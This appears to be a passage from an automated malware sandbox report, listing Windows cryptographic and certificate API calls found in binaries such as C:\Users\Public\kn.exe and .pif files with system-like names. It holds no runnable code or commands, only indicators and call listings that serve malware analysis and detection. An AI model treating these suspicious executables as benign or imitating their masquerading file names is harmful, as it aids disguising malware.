Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BD304 #357,CryptFindOIDInfo,#359,LocalAlloc,CryptEncodeObjectEx,GetLastError,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658BD304
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BB324 CryptDecodeObject,GetLastError,#357,#357,LocalFree, 6_2_00007FF6658BB324
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590D30C BCryptOpenAlgorithmProvider,#357,BCryptCreateHash,BCryptHashData,BCryptHashData,BCryptHashData,BCryptFinishHash,BCryptDestroyHash, 6_2_00007FF66590D30C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BD240 #357,CryptFindOIDInfo,#357,LocalFree, 6_2_00007FF6658BD240
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659232A8 CryptGetProvParam,#205,GetLastError,#357,#357,#357,#357,SetLastError, 6_2_00007FF6659232A8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EB2B4 #357,CryptHashCertificate,GetLastError,#357,memcmp,#358, 6_2_00007FF6658EB2B4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594D28C CryptFindOIDInfo,CryptEnumOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,#358, 6_2_00007FF66594D28C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665957290 NCryptIsKeyHandle,#359,#360,#357,#358, 6_2_00007FF665957290
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659231C0 CryptGetKeyParam,#205,GetLastError,#357,#357,#357,#357,SetLastError, 6_2_00007FF6659231C0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659211C8 NCryptVerifySignature,#205,#357,#357,#357,#357, 6_2_00007FF6659211C8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659571C8 BCryptDestroyKey,#360, 6_2_00007FF6659571C8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665979208 #357,NCryptEnumKeys,#360,#358, 6_2_00007FF665979208
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665957214 NCryptIsKeyHandle,#357,CryptReleaseContext,GetLastError, 6_2_00007FF665957214
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590F168 CryptDuplicateKey,GetLastError,#357,CryptEncrypt,GetLastError,CryptEncrypt,GetLastError,CryptDestroyKey, 6_2_00007FF66590F168
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665905164 GetLastError,#357,CryptEncodeObjectEx,GetLastError,#357,LocalFree, 6_2_00007FF665905164
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665903188 CryptAcquireContextW,GetLastError,#359,#359,CryptAcquireContextW,GetLastError, 6_2_00007FF665903188
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665957178 BCryptCloseAlgorithmProvider,#360, 6_2_00007FF665957178
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F51A4 #360,#357,#359,#207,CryptFindOIDInfo,#357,GetLastError,#357,#207,#360,#254,#358,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658F51A4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66593B4EC CryptDecodeObjectEx,SetLastError, 6_2_00007FF66593B4EC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659514F0 GetEnvironmentVariableW,#205,#205,#203,CryptDestroyHash,CryptReleaseContext,CryptAcquireContextW,GetLastError,#357,CryptCreateHash,GetLastError,CryptReleaseContext,GetLastError,#357,#357,#203,#357,#357,#357,#357,#203,LocalFree,#203,#357,#357,#207,#203,#203,LocalFree,#203,#203,CryptDestroyHash,CryptReleaseContext, 6_2_00007FF6659514F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E3504 CreateFileW,GetLastError,#357,GetFileSize,GetLastError,#357,SetFilePointer,GetLastError,#357,CertFreeCertificateContext,CertFreeCertificateContext,CryptDestroyKey,CryptReleaseContext,CloseHandle, 6_2_00007FF6658E3504
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659234F8 CryptImportPublicKeyInfo,#205,GetLastError,#357,#357,SetLastError, 6_2_00007FF6659234F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66593B464 CryptEncodeObjectEx,SetLastError, 6_2_00007FF66593B464
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665885438 memset,#246,#357,#357,GetLastError,#357,CertFindExtension,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptReleaseContext,CryptAcquireContextW,LocalFree, 6_2_00007FF665885438
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594F4A0 CryptHashPublicKeyInfo,SetLastError, 6_2_00007FF66594F4A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665929480 memmove,BCryptDecrypt,#205,#357,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,memmove,BCryptEncrypt,#205,#357,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF665929480
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590F488 #357,LocalAlloc,memmove,CryptDuplicateKey,GetLastError,CryptDecrypt,GetLastError,CryptDestroyKey,LocalFree, 6_2_00007FF66590F488
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357, 6_2_00007FF66590B3D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E13F0 CryptAcquireContextW,GetLastError,#357,CryptCreateHash,GetLastError,CryptHashData,CryptHashData,GetLastError,CryptImportPublicKeyInfo,CryptVerifySignatureW,CertCreateCertificateContext,#357,LocalFree,GetLastError,GetLastError,GetLastError,GetLastError,#357,LocalFree,LocalFree,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext, 6_2_00007FF6658E13F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659053E8 CryptEncodeObjectEx,GetLastError,#357, 6_2_00007FF6659053E8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595141C GetLastError,CryptDecodeObjectEx,GetLastError,#357,LocalFree, 6_2_00007FF66595141C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592342C CryptImportKey,#205,GetLastError,#357,#357,#357,SetLastError, 6_2_00007FF66592342C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DB350 CryptFindLocalizedName,CertEnumPhysicalStore,GetLastError,#357, 6_2_00007FF6658DB350
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B7340 GetModuleHandleW,GetProcAddress,GetLastError,BCryptExportKey,#360,LocalAlloc,CryptHashCertificate2,GetLastError,CryptHashCertificate2,GetLastError,#357,LocalFree, 6_2_00007FF6658B7340
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E5338 wcsrchr,#357,#357,LocalAlloc,memmove,wcsrchr,GetLastError,#360,#357,#357,LocalFree,LocalFree,LocalFree,CryptReleaseContext, 6_2_00007FF6658E5338
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AB36C GetLastError,CryptHashCertificate,GetLastError,CryptHashCertificate2,GetLastError,SysAllocStringByteLen,#357,SysFreeString,#357,#357,#357,LocalFree,SysFreeString, 6_2_00007FF6658AB36C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595739C CryptAcquireContextW,GetLastError,#360,#360,SetLastError, 6_2_00007FF66595739C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659593A0 CryptGetUserKey,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,LocalFree,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext, 6_2_00007FF6659593A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659333B0 CertFindExtension,#357,CryptDecodeObject,GetLastError,#357,#357, 6_2_00007FF6659333B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659033A0 CryptVerifyCertificateSignature,CertCompareCertificateName, 6_2_00007FF6659033A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665923390 CryptGetUserKey,#205,GetLastError,#357,#357,SetLastError, 6_2_00007FF665923390
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665957EE8 CryptFindOIDInfo,#357,CryptInitOIDFunctionSet,CryptGetOIDFunctionAddress,GetLastError,GetLastError,GetLastError,#357,strcmp,GetLastError,strcmp,GetLastError,CryptFindOIDInfo,CryptFindOIDInfo,#357,LocalFree,LocalFree,CryptFreeOIDFunctionAddress,LocalFree,LocalFree, 6_2_00007FF665957EE8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D7F14 CryptAcquireCertificatePrivateKey,GetLastError,#357,CryptSetProvParam,GetLastError,GetSecurityDescriptorLength,#359,CryptReleaseContext, 6_2_00007FF6658D7F14
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665985F20 CryptDecodeObjectEx, 6_2_00007FF665985F20
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665915F04 #357,#357,SysAllocStringByteLen,#357,SysFreeString,#357,#359,#357,lstrcmpW,CryptMsgControl,GetLastError,#357,CertFreeCertificateContext,#359,CertFreeCTLContext,LocalFree,SysFreeString,LocalFree, 6_2_00007FF665915F04
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594DE70 NCryptIsKeyHandle,#357,CryptExportKey,GetLastError,#358,LocalAlloc,#357,CryptExportKey,GetLastError,LocalFree, 6_2_00007FF66594DE70
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665985E3C CryptDecodeObjectEx,strcmp,strcmp,strcmp, 6_2_00007FF665985E3C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590DEB0 wcscspn,#357,GetFileAttributesW,GetLastError,#359,CertEnumCertificatesInStore,CertGetCRLContextProperty,CryptBinaryToStringW,wcsstr,CertEnumCertificatesInStore,GetLastError,GetLastError,LocalFree,LocalFree,CertCloseStore,CertFreeCertificateContext, 6_2_00007FF66590DEB0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DDEA4 memset,GetSystemTimeAsFileTime,CryptGenRandom,GetLastError,LocalAlloc,GetLastError,#357,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,CryptReleaseContext,CryptAcquireContextW,LocalFree, 6_2_00007FF6658DDEA4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665891DE8 GetSystemDefaultLangID,wcscspn,LocalFree,LocalFree,CryptEnumOIDInfo,qsort,free, 6_2_00007FF665891DE8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665911E2C CryptAcquireContextW,GetLastError,#357,CryptGenKey,GetLastError,CryptDestroyKey,#357,GetLastError,#357,#357,LocalAlloc,#357,memmove,LocalFree,memset,CryptGenRandom,GetLastError,#357,GetSystemTime,SystemTimeToFileTime,GetLastError,CertCreateCertificateContext,GetLastError,CryptReleaseContext,LocalFree,LocalFree,LocalFree, 6_2_00007FF665911E2C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B5DF7 GetLastError,#357,#357,#358,#358,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCRLsInStore,CertEnumCRLsInStore,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,#357, 6_2_00007FF6658B5DF7
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665985D74 CryptDecodeObjectEx,strcmp,strcmp, 6_2_00007FF665985D74
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665957D3C #357,CryptFindOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,wcschr,CryptFindOIDInfo,#359,LocalFree, 6_2_00007FF665957D3C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595BD3C NCryptIsKeyHandle,#357,#357,CryptSetProvParam,GetLastError,#357,CryptSetProvParam,GetLastError,LocalFree, 6_2_00007FF66595BD3C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E1D70 #357,LocalAlloc,memmove,#357,CryptSetKeyParam,GetLastError,LocalAlloc,memmove,CryptDecrypt,GetLastError,#357,#357,#358,LocalFree,LocalFree,#357,#357,#357,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658E1D70
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D9D6C #357,#357,#359,LocalAlloc,#357,#357,wcsrchr,LocalAlloc,memmove,CryptFindLocalizedName,wcsrchr,CryptFindLocalizedName,#357,GetLastError,#359,CertOpenStore,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658D9D6C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665903D60 #359,GetLastError,#357,CryptSetProvParam,GetLastError,#357,CryptSetProvParam,GetLastError,CryptReleaseContext, 6_2_00007FF665903D60
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DDD80 CertFindExtension,CryptDecodeObject, 6_2_00007FF6658DDD80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665935D80 #357,NCryptIsKeyHandle,GetSecurityDescriptorLength,CryptSetProvParam,GetLastError,LocalFree,#357, 6_2_00007FF665935D80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B5DA1 #358,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree, 6_2_00007FF6658B5DA1
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B60DA #357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree, 6_2_00007FF6658B60DA
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F4070 _wcsnicmp,_wcsnicmp,_wcsnicmp,#357,GetLastError,#359,#357,LocalAlloc,memmove,wcsstr,#223,#357,#359,LocalFree,#359,LocalFree,LocalFree,LocalFree,LocalFree,CryptMemFree, 6_2_00007FF6658F4070
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594E044 NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,LocalAlloc,#359,LocalFree, 6_2_00007FF66594E044
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665985FF0 CryptDecodeObjectEx,CryptDecodeObjectEx, 6_2_00007FF665985FF0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B5FE8 #357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree, 6_2_00007FF6658B5FE8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F5F54 GetLastError,LocalAlloc,memmove,wcschr,CryptFindOIDInfo,#357,#357,LocalFree,LocalFree, 6_2_00007FF6658F5F54
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BFF64 NCryptGetProperty,#359,NCryptGetProperty,CertEnumCertificatesInStore,CertFindCertificateInStore,CertFreeCertificateContext,CertEnumCertificatesInStore,CertFreeCertificateContext,CertCloseStore,CertCloseStore,#357, 6_2_00007FF6658BFF64
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665925FA8 NCryptIsKeyHandle,wcscmp,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException, 6_2_00007FF665925FA8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665929F90 memmove,wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,BCryptSignHash,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,#357,_CxxThrowException,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException, 6_2_00007FF665929F90
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E3B14 NCryptIsKeyHandle,CryptGetUserKey,GetLastError,#357,#357,#357,NCryptIsKeyHandle,#357,#357,LocalFree,CryptDestroyKey, 6_2_00007FF6658E3B14
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665919AF8 CertCloseStore,CertCloseStore,CryptMsgClose,LocalFree,LocalFree,NCryptFreeObject, 6_2_00007FF665919AF8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665939A58 #357,#357,#210,#357,SetWindowTextW,SetFocus,SendMessageW,SendMessageW,LocalAlloc,#357,#357,LocalFree,UpdateWindow,CoInitialize,LoadCursorW,SetCursor,LoadCursorW,SetCursor,SetFocus,SetWindowTextW,SetFocus,#357,SetFocus,SendMessageW,#357,LocalFree,LocalFree,LocalFree,CryptUIDlgFreeCAContext,CoUninitialize, 6_2_00007FF665939A58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B3A40 LocalFree,LocalFree,strcmp,#357,strcmp,LocalFree,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,LocalFree,strcmp,CryptDecodeObject,strcmp,LocalFree,strcmp,GetLastError,#357,LocalFree,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,GetLastError,#357,strcmp,strcmp,GetLastError,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,GetLastError,strcmp,strcmp,strcmp,strcmp,#357,#357,CryptDecodeObject,GetLastError,GetLastError,strcmp,LocalFree,strcmp,LocalFree,GetLastError,strcmp,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658B3A40
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665927A70 wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,NCryptSignHash,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,#357,_CxxThrowException,_CxxThrowException,NCryptSecretAgreement,#205,#357,#357,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,NCryptDeriveKey,#205,#359,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF665927A70
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665921A44 CryptContextAddRef,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException, 6_2_00007FF665921A44
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66593BA50 CryptSignCertificate,SetLastError, 6_2_00007FF66593BA50
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665985AA8 CryptDecodeObjectEx, 6_2_00007FF665985AA8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594FA84 LocalAlloc,#357,memmove,CryptDecrypt,GetLastError,#357,LocalFree, 6_2_00007FF66594FA84
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AF9B8 strcmp,#357,#359,NCryptOpenStorageProvider,#357,NCryptImportKey,#357,NCryptSetProperty,NCryptFinalizeKey,NCryptFreeObject,NCryptFreeObject,#359,CryptImportPKCS8,GetLastError,#357,CryptGetUserKey,GetLastError,#357,CryptGetUserKey,GetLastError,CryptDestroyKey,CryptReleaseContext,LocalFree, 6_2_00007FF6658AF9B8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590B9CC I_CryptWalkAllLruCacheEntries,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,I_CryptWalkAllLruCacheEntries,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357, 6_2_00007FF66590B9CC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595BA14 NCryptIsKeyHandle,#357,CryptGetProvParam,GetLastError,NCryptFreeObject, 6_2_00007FF66595BA14
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DF944 CryptDecodeObject,GetLastError,#357, 6_2_00007FF6658DF944
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665949970 LocalAlloc,#357,LocalAlloc,CertGetEnhancedKeyUsage,GetLastError,#358,LocalFree,LocalFree,GetLastError,strcmp,#357,CryptFindOIDInfo,LocalFree, 6_2_00007FF665949970
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590B950 I_CryptGetLruEntryData,#357, 6_2_00007FF66590B950
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B7988 CryptFindOIDInfo,#357,CryptFindOIDInfo,#357,GetLastError,#357,GetLastError,#357,LocalFree, 6_2_00007FF6658B7988
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590597C GetLastError,CryptEncodeObjectEx,GetLastError,#357, 6_2_00007FF66590597C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66597B980 #357,CryptFindOIDInfo,#359,GetLastError,#357,#359,CryptGetProvParam,memset,CryptGetProvParam,CryptFindOIDInfo,#357,GetLastError,#357,CryptReleaseContext,BCryptFreeBuffer, 6_2_00007FF66597B980
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665915CE8 #357,CertOpenStore,GetLastError,CertFindCertificateInStore,GetLastError,#359,LocalFree,CertFreeCertificateContext,CertCloseStore,CryptVerifyCertificateSignature,GetLastError,#357, 6_2_00007FF665915CE8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66593DD1C #357,strcmp,GetLastError,CryptHashCertificate,GetLastError,LocalAlloc,memmove,LocalFree, 6_2_00007FF66593DD1C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594FD2C CryptDecryptMessage,GetLastError,#357, 6_2_00007FF66594FD2C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C1C50 BCryptQueryProviderRegistration,#360,#357,BCryptFreeBuffer, 6_2_00007FF6658C1C50
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D3C60 CryptExportPublicKeyInfo,GetLastError,#357,LocalAlloc,CryptExportPublicKeyInfo,GetLastError,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,CertCreateCertificateContext,GetLastError,#357,#357,CertComparePublicKeyInfo,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,CertSetCTLContextProperty,GetLastError,#357,#357,#358,#358,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z, 6_2_00007FF6658D3C60
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665985C54 CryptDecodeObjectEx,CryptDecodeObjectEx, 6_2_00007FF665985C54
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665911C84 GetLastError,#357,CryptVerifyCertificateSignature,GetLastError,#357,LocalFree,#357,LocalFree, 6_2_00007FF665911C84
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A9BC8 #357,strcmp,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,CryptDecodeObject,GetLastError,strcmp,strcmp,strcmp,strcmp,GetLastError,strcmp,CryptDecodeObject,GetLastError,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,LocalFree,strcmp,SysFreeString,#357,#357,strcmp,SysFreeString,#357,SysFreeString,GetLastError,strcmp,LocalFree,LocalFree,CryptDecodeObject,strcmp,strcmp,strcmp,SysFreeString,LocalFree, 6_2_00007FF6658A9BC8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665923BEB _CxxThrowException,_CxxThrowException,_CxxThrowException,CryptExportKey,#205,GetLastError,#357,#357,#357,#357,SetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF665923BEB
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592BBC0 wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,CryptSignHashW,#205,GetLastError,#357,#359,#357,SetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException, 6_2_00007FF66592BBC0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DFC34 memset,#357,CryptDecodeObject,GetLastError,LocalAlloc,#357,memmove,memset,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658DFC34
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BFC20 #359,#357,NCryptOpenStorageProvider,#357,NCryptImportKey,GetLastError,#357,#357,LocalFree,LocalFree,NCryptFreeObject,#357,NCryptFreeObject,#357, 6_2_00007FF6658BFC20
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665957B60 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptFindOIDInfo,LocalAlloc,#357,memmove,CryptReleaseContext, 6_2_00007FF665957B60
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EBB38 #357,CryptVerifyCertificateSignatureEx,GetLastError,#357,memcmp,GetSystemTimeAsFileTime,CompareFileTime,CompareFileTime,CompareFileTime,#357,#358,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658EBB38
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665955B44 CertFindExtension,#357,CryptDecodeObject,GetLastError, 6_2_00007FF665955B44
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592FB50 CryptExportPublicKeyInfo,GetLastError,#357,LocalAlloc,#357,CryptExportPublicKeyInfo,GetLastError,GetLastError,#357,#357,CertFindExtension,LocalAlloc,#357,memmove,#357,#357,#357,#357,#357,CAFindCertTypeByName,CAGetCertTypeExtensions,#357,#358,CertFindExtension,#357,LocalAlloc,memmove,memmove,#357,#357,GetLastError,#357,CertFindExtension,#357,GetLastError,#357,CryptSignAndEncodeCertificate,GetLastError,#357,LocalAlloc,CryptSignAndEncodeCertificate,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CAFreeCertTypeExtensions,CACloseCertType, 6_2_00007FF66592FB50
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595BB50 NCryptIsKeyHandle,#359,CertCreateCertificateContext,GetLastError,LocalFree,CryptGetKeyParam,GetLastError,#358,LocalAlloc,#357,CryptGetKeyParam,GetLastError,#357, 6_2_00007FF66595BB50
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658ABB80 #357,NCryptIsKeyHandle,#357,LocalFree,LocalFree, 6_2_00007FF6658ABB80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665885BA4 #357,NCryptIsKeyHandle,strcmp,GetLastError,strcmp,GetLastError,SysAllocStringByteLen,#357,SysFreeString,#359,LocalAlloc,#357,GetLastError,GetLastError,GetLastError,#357,LocalFree,LocalFree,LocalFree,SysFreeString,CertFreeCertificateContext,LocalFree,LocalFree,CryptReleaseContext, 6_2_00007FF665885BA4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594FB94 #357,CryptFindOIDInfo,LocalAlloc,CryptEncryptMessage,GetLastError,LocalFree,#357, 6_2_00007FF66594FB94
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665985B90 CryptDecodeObjectEx,memmove, 6_2_00007FF665985B90
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C3837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext, 9_2_152C3837
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14583837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext, 24_2_14583837
